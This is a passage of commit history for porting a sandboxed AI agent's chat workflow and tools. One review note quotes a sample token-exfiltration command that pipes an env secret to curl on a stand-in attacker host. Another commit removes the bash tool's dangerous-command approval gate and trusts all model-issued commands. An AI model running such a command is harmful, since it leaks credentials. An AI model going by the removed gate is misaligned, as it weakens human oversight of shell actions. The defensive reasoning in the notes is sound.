- New getMainModel / getSubagentModel helpers (SRP, one per file)
mirror open-agents' utility functions: getSubagentModel returns
`ctx.subagentModel ?? ctx.model`.
- taskTool drops the hardcoded SUBAGENT_MODEL_ID; calls
getSubagentModel(experimental_context, "task") instead — subagent
now defaults to the same model the parent is running.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
sweetmantech added a commit that referenced this pull request May 21, 2026
* feat(chat-workflow): POST /api/chat/workflow route stub (PR 2 of 5) (#579)
* feat(chat-workflow): add POST /api/chat/workflow route stub
Adds the route stub for the new sandbox-driven, Vercel-Workflow-backed
chat endpoint documented in recoupable/docs#221. The stub validates
the full request contract (auth, body, session/chat ownership,
sandbox active) and returns a hardcoded UIMessage stream with an
x-workflow-run-id: stub-<uuid> header — so the chat-side team can
integrate against the real response shape today while the workflow
itself is being ported from open-agents in follow-up PRs.
Files:
- app/api/chat/workflow/route.ts — thin POST shim + OPTIONS for CORS
- lib/chat/handleChatWorkflowStream.ts — auth → validate → session/chat
ownership → sandbox check → stub UIMessage stream
- lib/chat/validateChatWorkflowBody.ts — Zod schema matching the OpenAPI
ChatWorkflowRequest (messages, chatId, sessionId, optional
context.contextLimit)
Status codes implemented (match contract docs):
- 200 — UIMessage stream + x-workflow-run-id header
- 400 — invalid JSON / invalid body / "Sandbox not initialized"
- 401 — validateAuthContext passthrough
- 403 — session not owned by API key's account
- 404 — session or chat not found (incl. chat under different session)
- 500 — selectSessions returned null (DB error)
409 (duplicate workflow run for chat) is deferred to the wire-up PR
that adds compareAndSetChatActiveStreamId — no workflow to dedupe yet.
Tests (TDD red→green): 23 new tests, all green; full suite 2901 pass.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): address PR review — SRP/DRY cleanup
Two review fixes per PR feedback:
1. SRP/DRY — drop the local errorResponse helper from
handleChatWorkflowStream.ts; use the shared
lib/networking/errorResponse and lib/zod/validationErrorResponse
helpers instead.
2. SRP — move auth + body parsing out of handleChatWorkflowStream.ts
into the validator. Rename validateChatWorkflowBody → validateChatWorkflow
so it accepts a full NextRequest (like the existing validateChatRequest)
and returns an auth-augmented body (accountId/orgId/authToken). The
handler now opens with a single `validateChatWorkflow(request)` call.
Tests reshaped to match new seams:
- Validator test mocks validateAuthContext only
- Handler test mocks validateChatWorkflow (the new seam)
- Old "400 invalid JSON" + "400 missing chatId" handler tests collapsed
into a single "validator short-circuit passes through" test — both are
now the validator's responsibility, not the handler's
22/22 new tests green; full suite 2900/2900 pass; lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* chore: revert unrelated local changes accidentally swept into PR
Previous commit (9262f65) used `git add -A` which picked up local
Supabase CLI artifacts (supabase/.temp/) and a local .gitignore tweak
that aren't part of this PR's scope. Removing them now so the PR
diff stays scoped to the chat-workflow refactor.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): wire POST /api/chat/workflow to durable Vercel Workflow (PR 3 of 4) (#581)
* feat(chat-workflow): wire POST /api/chat/workflow to durable Vercel Workflow
Replaces the stub UIMessage stream in PR #579 with a real Vercel Workflow
agent loop. Stub run-ids (`stub-<uuid>`) are replaced with real ones
(`wrun_<id>`) emitted by the workflow runtime. Tools are still NOT wired —
the workflow runs streamText with the gateway model + Recoup custom
instructions only. Sandbox tool surface comes in a follow-up PR.
What's now plumbed end-to-end:
- validateChatWorkflow → session+chat ownership → sandbox active → reconcile
existing active_stream_id (resume / 409 / fall-through) → refresh
lifecycle activity → fire-and-forget persist user message → start
runAgentWorkflow → CAS active_stream_id (cancel + 409 on race) →
return run.getReadable() with x-workflow-run-id header
New helpers (Supabase):
- compareAndSetChatActiveStreamId — atomic CAS on chats.active_stream_id
- touchChat — bump chats.updated_at
- updateChat — generic partial update mirroring updateSession's shape
- createChatMessageIfNotExists — INSERT ... ON CONFLICT DO NOTHING via upsert
- isFirstChatMessage — true iff exactly one row exists matching messageId
New helpers (chat/recoupable):
- extractOrgId — `org-<slug>-<uuid>` → uuid (lowercased)
- agentCustomInstructions — assistantFileLinkPrompt + recoupApiSkillPrompt
- persistLatestUserMessage — fire-and-forget user msg + title-from-first-80
- reconcileExistingActiveStream — 3-attempt resume/clear/conflict loop
New workflow files:
- app/workflows/runAgentWorkflow.ts — `"use workflow"`, agent loop wrapper
- app/workflows/runAgentStep.ts — `"use step"`, single streamText turn
Tests: 46 new (8 extractOrgId + 5 cAS + 3 touchChat + 2 updateChat + 3
createChatMessageIfNotExists + 5 isFirstChatMessage + 7 persistLatest +
6 reconcileExistingActiveStream + 18 handler-wire-up tests refactored).
Full suite: 2946/2946 pass, lint clean.
Out of scope (next PR): sandbox tool ports (10 files + buildAgentTools).
Without tools, `finishReason` is always "stop" after one turn — the
runAgentWorkflow loop shape is in place but only iterates once today.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): address PR review — structural + P1/P2 fixes
Sweetman structural feedback (KISS / OCP):
- Move workflow files: app/workflows/runAgent{Workflow,Step}.ts →
app/lib/workflows/runAgent{Workflow,Step}.ts
- Generic Supabase helpers + domain wrappers:
- Generic `updateChat({filter, updates})` with optional CAS predicate
on active_stream_id. Subsumes compareAndSetChatActiveStreamId and
touchChat (both deleted).
- Generic `selectChatMessages({chatId, orderBy, limit, ...})` replaces
domain-specific isFirstChatMessage. The "is earliest?" check now
lives in persistLatestUserMessage where it belongs.
- Rename createChatMessageIfNotExists → `upsertChatMessage` with a
discriminated `{ok, row, isDuplicate} | {ok:false, error}` result so
callers can tell duplicates from DB errors.
- Extract resume-stream block from handler into `maybeResumeChatStream.ts`
(OCP — handler stays small, resume logic grows independently).
cubic P1 fixes:
- CAS-before-start: handler now claims `active_stream_id` with a
`pending-<uuid>` placeholder BEFORE calling start(workflow). Closes the
race where two requests could both bill the model before one lost the
CAS. After start(), promotes the placeholder to the real run id.
- updateChat returns discriminated `{ok, rowsUpdated} | {ok:false, error}`
so callers distinguish "race lost" (rowsUpdated:0) from DB errors.
- reconcileExistingActiveStream: bare try/catch on getRun no longer
clears stale active_stream_id on transient workflow API failures —
we treat any uncertainty as conflict. Failed CAS-clear on a completed
run also returns conflict (rather than possibly falling through to
ready on a DB read error).
- await getRun(runId).cancel() in handler — previously synchronous +
unawaited cancellation could escape the try/catch.
cubic P2 fixes:
- updateChat updates parameter narrowed to `ChatMutableFields` (excludes
id, session_id, created_at).
- persistLatestUserMessage: title truncation now respects TITLE_MAX_LENGTH
exactly. Uses "…" (1 char) instead of "..." (3 chars) and slices to
body-budget = max - suffix.
- runAgentStep: acquire writer once, release in finally. Per-chunk writer
acquisition could leak the lock on write failure.
- runAgentWorkflow: capped at a single turn until messages threading
lands with tool ports (PR 4). Multi-turn loop with the same input was
unsafe — log+warn if model returns tool-calls and exit.
Tests reworked: 231 in the touched files all green; full suite 2949/2949;
lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): top-level import in reconcileExistingActiveStream
The dynamic `await import("workflow/api")` inside the function body was
a carry-over from open-agents — handleChatWorkflowStream.ts already
top-level imports `start` and `getRun` from the same package, so there's
no reason for the lib to defer. Moving to a normal top-level import for
consistency.
Also tightens the cancel-throws handler test to use the same deferred-
rejection pattern as reconcileExistingActiveStream.test.ts so Vitest's
unhandled-rejection watcher doesn't trip on the mock setup.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): move active_stream_id CAS out of supabase lib
Per sweetman's review on updateChat.ts:64 — the active_stream_id-specific
predicate logic doesn't belong in the Supabase plumbing. Restructured:
- `lib/supabase/chats/updateChat.ts` now generic. The filter accepts
`where: Partial<Tables<"chats">>` (a generic predicate that maps to
`column = value` or `column IS NULL`) so no column name is hardcoded
in the Supabase lib.
- `lib/chat/compareAndSetChatActiveStreamId.ts` — new domain wrapper.
Owns the "compare-and-set on active_stream_id" concept and returns a
discriminated `{ok, claimed} | {ok: false, error}` result. Handler
and reconcileExistingActiveStream both compose against this wrapper
instead of constructing predicates inline.
- Handler + reconcile updated to use the wrapper. Tests follow.
37/37 tests in touched files pass; full suite 2955/2955; lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* fix(chat-workflow): Next.js build — discriminated-union narrowing + supabase type depth
Two production-build issues surfaced by Vercel that local pnpm test +
tsc didn't catch (vitest uses esbuild transpile, no type check; tsc's
errors were all in __tests__ unrelated to this PR).
1. `compareAndSetChatActiveStreamId.ts` — `if (result.ok) { ... }`
narrowing wasn't kicking in under Next.js's strict TS plugin.
Switched to `if ("error" in result)` (in-operator narrowing) which
reliably discriminates the union members regardless of literal-type
inference quirks.
2. `lib/supabase/chats/updateChat.ts` — `let query = supabase.from(...)
.update(...).eq(...)` + reassignment in a `for` loop (`.is()` /
`.eq()` per where entry) caused "type instantiation is excessively
deep" — Supabase's PostgrestFilterBuilder is heavily generic and the
reassignment kept expanding the type. Rewrote as: split where map
into equality matches (one `.match(obj)` call) + nullable columns
(reduced with `.is(col, null)` typed back to the original builder).
Both bugs were behavior-neutral — the function shape and contract are
unchanged. 37/37 tests in touched files green; full suite 2955/2955;
lint clean; `pnpm build` now succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): port bash sandbox tool + wire experimental_context (PR 4, slim) (#583)
* feat(chat-workflow): port bash sandbox tool + wire experimental_context (PR 4 of 4, slim)
Slim PR 4: ports the `bash` sandbox tool from open-agents and wires it
through the workflow via streamText's `experimental_context`. Proves
the entire tool-execution machinery works end-to-end. The remaining 10
tools (read, write, grep, glob, todo, task, ask_user_question, skill,
fetch + utils) port in a follow-up; this PR's scope was deliberately
held to one tool so the wire-up is reviewable in isolation.
New files:
- lib/agent/tools/utils.ts — AgentContext type, isAgentContext guard,
getSandbox() that reconnects via connectVercel(state) per call.
- lib/agent/tools/buildRecoupExecEnv.ts — { RECOUP_ACCESS_TOKEN,
RECOUP_ORG_ID } env builder from context.
- lib/agent/tools/bashTool.ts — direct port of open-agents bash.ts
adapted to api's Sandbox interface. Injects recoup env on foreground
execs only (detached processes outlive the prompt → no token).
- lib/agent/buildAgentTools.ts — factory returning the agent's tool
record. Adding the remaining tools is a one-line append to this map.
Wire-up:
- runAgentStep now accepts `agentContext`, passes into streamText as
experimental_context, and uses streamText's internal multi-step loop
(stopWhen: stepCountIs(25)) for tool-call iteration — no outer loop
in runAgentWorkflow needed.
- handleChatWorkflowStream derives recoupOrgId from session.clone_url
via extractOrgId, builds AgentContext with session.sandbox_state +
validated.authToken, passes to start(workflow).
Tests: 23 new (3 utils + 5 buildRecoupExecEnv + 10 bashTool + 2 factory
+ 3 workflow file updates picked up by existing tests). Full suite
2978/2978 pass; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): address PR 583 review — KISS/SRP + drop token exposure
Sweetman KISS/SRP feedback (4 comments):
- Removed `MAX_TOOL_STEPS` + `stopWhen` from runAgentStep. streamText's
default stop condition handles tool-call iteration without an
arbitrary cap that could silently truncate the only workflow turn.
- Removed `commandNeedsApproval` + `DANGEROUS_COMMAND_PATTERNS` from
bashTool. All model-issued commands are trusted in this PR — host-
side gating belongs at the route/UI layer if it ever returns.
- Removed `needsApproval` from bashTool entirely (subsumes cubic P1
about the broken override ordering — the gate itself is gone).
- Split `lib/agent/tools/utils.ts` into per-function files:
- `AgentContext.ts` — type
- `isAgentContext.ts` — guard
- `getSandbox.ts` — sandbox reconnection
No catch-all utils file.
Cubic feedback:
- **P0**: Removed `recoupAccessToken` from AgentContext + handler +
buildRecoupExecEnv. Handing the long-lived api key to bash would let
any model-issued command exfiltrate it via env (`echo $TOKEN | curl
evil.com`). Slim PR 4 has no actual consumer for the token — only
the future `skill` tool needs it. Proper short-lived token minting
will land alongside that port.
- **P2** (`isAgentContext` too weak): tightened the guard to validate
sandbox.state is a non-null object AND sandbox.workingDirectory is a
non-empty string. Earlier guard returned true for `{ sandbox: {} }`,
letting tools later crash on undefined fields.
- P1 + P2 about stopWhen / needsApproval: resolved by sweetman's
deletions above.
- P2 (test file >100 lines): dismissed — same as PR 3 review. The repo
has no enforced max-lines rule; existing tests routinely exceed 700
lines.
Tests updated for the new shape. 25 tests in touched files green
(8 isAgentContext + 4 getSandbox + 7 bashTool + 4 buildRecoupExecEnv +
2 factory). Full suite 2980/2980 pass; lint clean; production build
succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat): extract CHAT_AGENT_STOP_WHEN, shared by /api/chat + /api/chat/workflow
Per discussion on PR #583. Restoring the streamText stop condition so
the workflow agent gets the model wrap-up turn after a tool call (model
→ tool → tool-result → model → text response), instead of stopping at
streamText's default `stepCountIs(1)` after the first tool call.
DRY by sharing one constant between the two chat endpoints:
- New: `CHAT_AGENT_STOP_WHEN = stepCountIs(111)` in lib/chat/const.ts.
Inherits the value that /api/chat already uses (originally hardcoded
in getGeneralAgent.ts:55) — high enough that normal flows never hit
the cap but bounds runaway loops for cost / replay safety.
- lib/agents/generalAgent/getGeneralAgent.ts: imports the constant
instead of constructing stepCountIs(111) inline.
- app/lib/workflows/runAgentStep.ts: imports the constant, passes to
streamText as `stopWhen`.
Single-shot agents (createCompactAgent, createContentPromptAgent,
createEmailReplyAgent) intentionally keep their local `stepCountIs(1)`
— they're not in the multi-step chat family.
Full suite 2980/2980 pass; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): port 7 leaf sandbox tools — read/write/edit/grep… (#585)
* feat(chat-workflow): port 7 leaf sandbox tools — read/write/edit/grep/glob/todo/web_fetch (PR 5)
Builds on PR 4 (bash + wire-up) by porting the remaining leaf tools
from open-agents/packages/agent/tools/. Each is a direct port adapted
to api's Sandbox interface, registered in buildAgentTools, and ready
for the agent to invoke through the existing experimental_context
plumbing.
New tool files (one tool per file, per sweetman SRP):
- readFileTool.ts — read with 1-indexed offset/limit, numbered output
- writeFileTool.ts — create / overwrite (with mkdir -p) on sandbox.writeFile
- editFileTool.ts — exact-string replace, ambiguous-match rejection
- grepTool.ts — POSIX ERE search via `grep -rn`, capped at 100/10/200
- globTool.ts — find -printf with mtime sort, GNU/BSD-compatible
- todoWriteTool.ts — stateless planning surface; echoes the list back
- webFetchTool.ts — curl from inside the sandbox, body truncated at 10KB
New helpers (utilities used by multiple tools):
- shellEscape.ts — `'` → `'\''` dance
- toDisplayPath.ts — absolute → relative-when-inside-workdir display path
buildAgentTools registers all 8 leaf tools (bash + 7 new). The composite
tools (`task`, `ask_user_question`, `skill`) need subagent context /
UI rendering / skill discovery infrastructure not in api today and
land in a follow-up PR.
Tests: 50 new across the 7 tools + 2 helpers + factory. Full suite
3014/3014; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(agent-tools): harmonize tool exports as direct values (drop factory wrappers)
Per PR 585 review question — most tools were defined as `() => tool({...})`
factories while two (todoWriteTool, webFetchTool) were direct values.
The split was a vestigial copy from open-agents where the factory
pattern only made sense for tools that took options (originally bash's
ToolOptions, which sweetman had me remove in PR 4 review).
AI SDK's `tool()` helper returns a plain value with no per-call state,
so the factory wrappers added nothing. Harmonized to direct-value
exports across all 8 tools:
- bashTool, readFileTool, writeFileTool, editFileTool, grepTool,
globTool: dropped the `() =>` wrapper.
- buildAgentTools.ts: dropped the matching `()` calls.
- 6 test files: dropped `const tool = xTool();` calls (use `xTool` directly).
Full suite 3014/3014 pass; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): port skill discovery + skillTool (PR 6, slim) (#587)
* feat(chat-workflow): port skill discovery + skillTool (PR 6, slim)
Ports the `skill` composite tool from open-agents along with the skill
discovery layer it depends on. The handler now connects to the sandbox
before workflow start, scans `${workingDirectory}/skills/` for project-
level skills, and threads the catalog into the workflow via
`AgentContext.skills`. The `skill` tool is registered in
`buildAgentTools` only when the catalog is non-empty — so models in
sandboxes without skills never see the tool.
New skills layer (lib/skills/):
- skillTypes.ts — SkillMetadata, SkillOptions, skillFrontmatterSchema,
frontmatterToOptions (Zod schema + camelCase normalization)
- parseSkillFrontmatter.ts — hand-rolled YAML subset parser
(key:value, quoted strings, booleans; preserves colons in URLs)
- extractSkillBody.ts — strip frontmatter, return body
- substituteArguments.ts — $ARGUMENTS replacement
- injectSkillDirectory.ts — prepend `Skill directory: <path>`
- discoverSkills.ts — scan dirs, parse frontmatter, dedupe by name,
drop names that shadow built-in /model /resume /new
- getSandboxSkillDirectories.ts — slim: `[${workingDirectory}/skills]`
only. Global skills (~/.skills) port later alongside short-lived
token minting
New tool: lib/agent/tools/skillTool.ts — case-insensitive lookup,
respects `disable-model-invocation`, surfaces available-skills list
on unknown name. Loads SKILL.md content, applies extractSkillBody →
injectSkillDirectory → substituteArguments, returns to the model.
Wire-up:
- AgentContext gains `skills?: SkillMetadata[]`
- buildAgentTools accepts `{ skills }`, registers skill tool when
non-empty
- runAgentStep passes `agentContext.skills` to buildAgentTools
- handleChatWorkflowStream connects sandbox + discoverSkills before
start(workflow); empty catalog on discovery failure (best-effort,
never blocks the request)
Slim scope decisions:
- Project skills only (no global ~/.skills/ scan yet)
- No short-lived token minting; the recoup-api skill would still
load + return content, but its curl examples wouldn't authenticate
without ad-hoc credentials. Token minting becomes a separate PR
where it can be designed properly (Privy JWT vs server-minted JWT
scoped to accountId + sandbox session).
Tests: 35 new (4 extractSkillBody + 4 substituteArguments + 2
injectSkillDirectory + 7 parseSkillFrontmatter + 9 discoverSkills +
7 skillTool + 4 buildAgentTools updated). Full suite 3049/3049 pass;
lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* fix(skills): match open-agents 3-path scan (was scanning the wrong dir)
The slim getSandboxSkillDirectories looked at \${workingDirectory}/skills/
— a path that doesn't exist in real recoupable sandboxes. The actual
layout (mirrored from open-agents/apps/web/lib/skills/directories.ts):
- \${workingDirectory}/.claude/skills/ (project, claude-style)
- \${workingDirectory}/.agents/skills/ (project, agents-style)
- \${HOME}/.agents/skills/ (global; populated at
provisioning by
installSessionGlobalSkills)
Also drops the earlier deferral comment: global skills load fine
WITHOUT short-lived token minting. The skill tool returns SKILL.md
content to the model; only the curl examples *inside* SKILL.md need
auth credentials, and those can be supplied ad-hoc until proper
token minting lands.
Changes:
- getSandboxSkillDirectories now async (uses resolveSandboxHomeDirectory
to find the sandbox's actual $HOME — defaults to /root)
- exports the two sub-functions (getProjectSkillDirectories +
getGlobalSkillsDirectory) so they're individually testable
- Handler awaits the async path resolution
- New test suite covers all 3 paths + $HOME variants
Caught by sweetman pointing out that this same repo (org-rostrum-pacific)
DOES show skills in open-agents — proving the slim deferral was wrong.
Full suite 3053/3053; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(skills): YAGNI project-dir scan + extract getSkills (per PR 587 feedback)
Two changes per user direction:
1. **YAGNI: drop project-skill directory scanning.** All skills are
provisioned globally via `installSessionGlobalSkills` at sandbox
startup — org repos do NOT bundle their own skill directories.
getSandboxSkillDirectories now returns just the single global
path: \`\${HOME}/.agents/skills\`. Deleted getProjectSkillDirectories
and the PROJECT_SKILL_BASE_FOLDERS array.
2. **SRP: extract getSkills into its own file.** Previously inline in
skillTool.ts (per sweetman comment on PR 587). Now lives at
lib/skills/getSkills.ts with its own tests. Future skill-aware
consumers (e.g. system-prompt builders) share the same accessor
instead of duplicating the context-cast.
Verified live on preview against \`recoupable/org-rostrum-pacific-...\`
BEFORE this commit:
- Sandbox provisioning installs 2 globals at
/home/vercel-sandbox/.agents/skills/ (recoup-api + artist-workspace)
- Agent invoked \`skill({ skill: "recoup-api" })\` successfully,
received 11,173 chars of SKILL.md content with the correct
"Skill directory: /home/vercel-sandbox/.agents/skills/recoup-api"
header
Full suite 3055/3055; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(skills): SRP — extract findSkillFile + getGlobalSkillsDirectory
Per sweetman PR review (comments r3283710486 and r3283762023). Each
helper now lives in its own file with its own focused test suite:
- lib/skills/findSkillFile.ts — was inlined in discoverSkills.ts
- 3 new unit tests (prefer SKILL.md, fall back to skill.md, null
when neither exists)
- lib/skills/getGlobalSkillsDirectory.ts — was inlined in
getSandboxSkillDirectories.ts
- 2 new unit tests (standard path, trailing-slash tolerance)
discoverSkills now imports findSkillFile. getSandboxSkillDirectories
imports getGlobalSkillsDirectory. The old getSandboxSkillDirectories
test loses its inline getGlobalSkillsDirectory cases (those moved to
the dedicated test file).
Full suite passes; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): port task + ask_user_question composite tools (PR 7) (#589)
* feat(chat-workflow): port task + ask_user_question composite tools (PR 7)
Completes the open-agents tool surface. The agent now has all 11 tools.
**ask_user_question** (lib/agent/tools/askUserQuestionTool.ts) —
client-side tool with NO server execute. Schema mirrors open-agents
verbatim (questions array, options with label/description, multiSelect
flag, max 12-char header). streamText halts after emitting the tool-
call because there's no result to feed back; the chat UI renders the
question component, collects answers, and submits them in the next
workflow request's messages array. No WDK pause/resume hook needed.
**task** (lib/agent/tools/taskTool.ts) — slim port of open-agents'
multi-type SUBAGENT_REGISTRY → one generic subagent. Runs a sub-
`streamText` loop with a curated subagent tool set (`read, write,
edit, grep, glob, bash`) matching open-agents' `executor` subagent.
The subagent tool set deliberately EXCLUDES:
- task (recursion guard — open-agents' three subagent types
executor/explorer/design all explicitly omit task too; subagents
are leaves of the agent tree)
- ask_user_question, skill, todo_write, web_fetch (parity with
open-agents subagent curation; subagents run autonomously, don't
plan from scratch, don't make web calls, don't load further skills)
AgentContext gains `modelId?: string` so the subagent can use the
same model as its parent. Handler populates it from chat.model_id
or the platform default.
buildAgentTools registers both new tools unconditionally (skill stays
conditional on a non-empty catalog).
Quirk: api's AI SDK (6.0.0-beta.122) calls toModelOutput(output)
directly, NOT toModelOutput({ output }) as open-agents' newer 6.0.165
does. askUserQuestionTool uses the direct signature.
Tests: 9 askUserQuestionTool + 6 taskTool + updated buildAgentTools
+ AgentContext updates. Full suite 3075/3075 pass, lint clean,
production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* fix(task-tool): provide non-empty subagent prompt
The subagent's streamText was invoked with messages: [] and only a
system prompt, so the AI SDK recorded zero steps and threw
NoOutputGeneratedError — surfaced to the parent as "Subagent failed:
No output generated. Check the stream for errors."
Pass an explicit user-side trigger prompt, mirroring open-agents'
task tool. Adds a regression test that asserts streamText receives
either a non-empty prompt or non-empty messages.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(task-tool): extract buildSubagentTools (SRP) + drop modelId from AgentContext (KISS)
Address PR review feedback:
- SRP: move buildSubagentTools to lib/agent/tools/buildSubagentTools.ts
(one exported function per file).
- KISS: open-agents' AgentContext type does not have modelId — it uses
model: LanguageModel / subagentModel?: LanguageModel. api can't follow
that exact shape because agentContext is part of a durable Vercel
Workflow input and LanguageModel objects aren't JSON-serializable.
Instead of inventing modelId on AgentContext, hardcode a default
subagent model id in taskTool. A subagentModelId override field can
be added if/when a real consumer needs it.
Also format-fixes askUserQuestionTool.ts toModelOutput arrow
(parentheses around single param flagged by prettier in CI).
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(agent): align AgentContext + model resolution with open-agents
Match open-agents' `tools/utils.ts` + `types.ts` shape so the subagent
inherits the parent's model (rather than the previous hardcoded
SUBAGENT_MODEL_ID):
- AgentContext gains `model: LanguageModel` (required) and
`subagentModel?: LanguageModel`, mirroring open-agents.
- Introduce DurableAgentContext = Omit<AgentContext, "model" | "subagentModel">
for the workflow input shape, since LanguageModel instances aren't
JSON-serializable and can't ride durable Vercel Workflow inputs.
- runAgentStep constructs `callModel = gateway(input.modelId)` once
per step and merges it into experimental_context — same pattern as
open-agents' prepareCall in open-harness-agent.ts.
- New getMainModel / getSubagentModel helpers (SRP, one per file)
mirror open-agents' utility functions: getSubagentModel returns
`ctx.subagentModel ?? ctx.model`.
- taskTool drops the hardcoded SUBAGENT_MODEL_ID; calls
getSubagentModel(experimental_context, "task") instead — subagent
now defaults to the same model the parent is running.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): emit per-message cost/usage metadata (cutover Bundle C) (#592)
* feat(chat-workflow): emit per-message cost/usage metadata (Bundle C)
First step in the open-agents → api cutover sequence. Adds a
messageMetadata callback to runAgentStep's toUIMessageStream call so
the UI receives {modelId, lastStepUsage, totalMessageUsage,
lastStepCost, totalMessageCost, stepFinishReasons} on every assistant
turn — matching open-agents' WebAgentMessageMetadata shape byte-for-byte
so sandbox.recoupable.com's model/cost badges keep working when cut
over to /api/chat/workflow.
New (SRP, one function per file):
- lib/agent/messageMetadata/extractGatewayCost.ts — port of
open-agents' gateway-metadata.ts, parses gateway-reported per-step
cost from providerMetadata.
- lib/agent/messageMetadata/addLanguageModelUsage.ts — port of
open-agents' usage.ts, pointwise-sums LanguageModelUsage records.
- lib/agent/messageMetadata/AgentMessageMetadata.ts — type mirroring
open-agents' WebAgentMessageMetadata.
- lib/agent/messageMetadata/buildMessageMetadataCallback.ts —
stateful factory returning a fresh callback per turn; accumulates
usage + cost across finish-step parts.
Wired into app/lib/workflows/runAgentStep.ts. PROGRESS notes called
this out as a known gap from the original workflow port (PR 4).
Tests: 19 new (6 + 4 + 6 + 3); full suite 3096/3096 pass; lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(message-metadata): SRP extractions + upgrade ai SDK; drop normalizeUsage
Address PR review feedback (one exported function per file) and adopt
the user's preferred path of upgrading api's `ai` package rather than
maintaining a normalization shim:
- Extract addTokenCounts.ts (used by addLanguageModelUsage)
- Extract hasGatewayShape.ts + GatewayProviderMetadata.ts (used by
extractGatewayCost)
- Split AgentStepFinishMetadata into its own file (was co-located
in AgentMessageMetadata)
Upgrade the AI SDK so the wire format matches open-agents natively:
- ai: 6.0.0-beta.122 → ^6.0.190
- @ai-sdk/anthropic, @ai-sdk/gateway, @ai-sdk/google, @ai-sdk/openai,
@ai-sdk/mcp: all bumped to latest stable
The new SDK's LanguageModelUsage is the flat shape (top-level
`inputTokens` number + nested `inputTokenDetails`) — identical to
open-agents' wire format. No conversion needed, so:
- Delete normalizeUsage.ts + test (net -82 LOC)
- Delete AgentLanguageModelUsage type (use SDK's LanguageModelUsage
directly)
Production code changes for the SDK upgrade:
- runAgentStep + setupChatRequest: await convertToModelMessages
(now returns Promise<ModelMessage[]>)
Tests: 3106/3106 pass; production typecheck clean; lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
sweetmantech added a commit that referenced this pull request May 22, 2026
* feat(chat-workflow): POST /api/chat/workflow route stub (PR 2 of 5) (#579)
* feat(chat-workflow): add POST /api/chat/workflow route stub
Adds the route stub for the new sandbox-driven, Vercel-Workflow-backed
chat endpoint documented in recoupable/docs#221. The stub validates
the full request contract (auth, body, session/chat ownership,
sandbox active) and returns a hardcoded UIMessage stream with an
x-workflow-run-id: stub-<uuid> header — so the chat-side team can
integrate against the real response shape today while the workflow
itself is being ported from open-agents in follow-up PRs.
Files:
- app/api/chat/workflow/route.ts — thin POST shim + OPTIONS for CORS
- lib/chat/handleChatWorkflowStream.ts — auth → validate → session/chat
ownership → sandbox check → stub UIMessage stream
- lib/chat/validateChatWorkflowBody.ts — Zod schema matching the OpenAPI
ChatWorkflowRequest (messages, chatId, sessionId, optional
context.contextLimit)
Status codes implemented (match contract docs):
- 200 — UIMessage stream + x-workflow-run-id header
- 400 — invalid JSON / invalid body / "Sandbox not initialized"
- 401 — validateAuthContext passthrough
- 403 — session not owned by API key's account
- 404 — session or chat not found (incl. chat under different session)
- 500 — selectSessions returned null (DB error)
409 (duplicate workflow run for chat) is deferred to the wire-up PR
that adds compareAndSetChatActiveStreamId — no workflow to dedupe yet.
Tests (TDD red→green): 23 new tests, all green; full suite 2901 pass.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): address PR review — SRP/DRY cleanup
Two review fixes per PR feedback:
1. SRP/DRY — drop the local errorResponse helper from
handleChatWorkflowStream.ts; use the shared
lib/networking/errorResponse and lib/zod/validationErrorResponse
helpers instead.
2. SRP — move auth + body parsing out of handleChatWorkflowStream.ts
into the validator. Rename validateChatWorkflowBody → validateChatWorkflow
so it accepts a full NextRequest (like the existing validateChatRequest)
and returns an auth-augmented body (accountId/orgId/authToken). The
